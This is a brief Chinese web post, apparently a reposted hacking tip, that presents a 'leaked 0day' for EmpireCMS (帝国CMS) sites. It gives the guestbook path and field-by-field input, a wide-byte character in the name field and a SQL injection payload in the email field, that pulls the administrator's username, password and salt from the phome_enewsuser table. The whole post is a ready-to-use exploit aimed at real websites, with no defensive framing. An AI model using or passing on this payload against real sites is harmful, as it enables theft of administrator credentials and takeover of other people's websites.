| 关键词: 帝国 普瑞 深灰 留言本 账号 CMS enewsuser username password 后面 |
普瑞斯特 深灰丢出来的0day.找到使用帝国CMS的站,网址后面直接加:e/tool/gbook/?bid=1出来的是帝国CMS的留言本,在姓名处写:縗\联系邮箱处写:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*提交后爆出账号密码 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|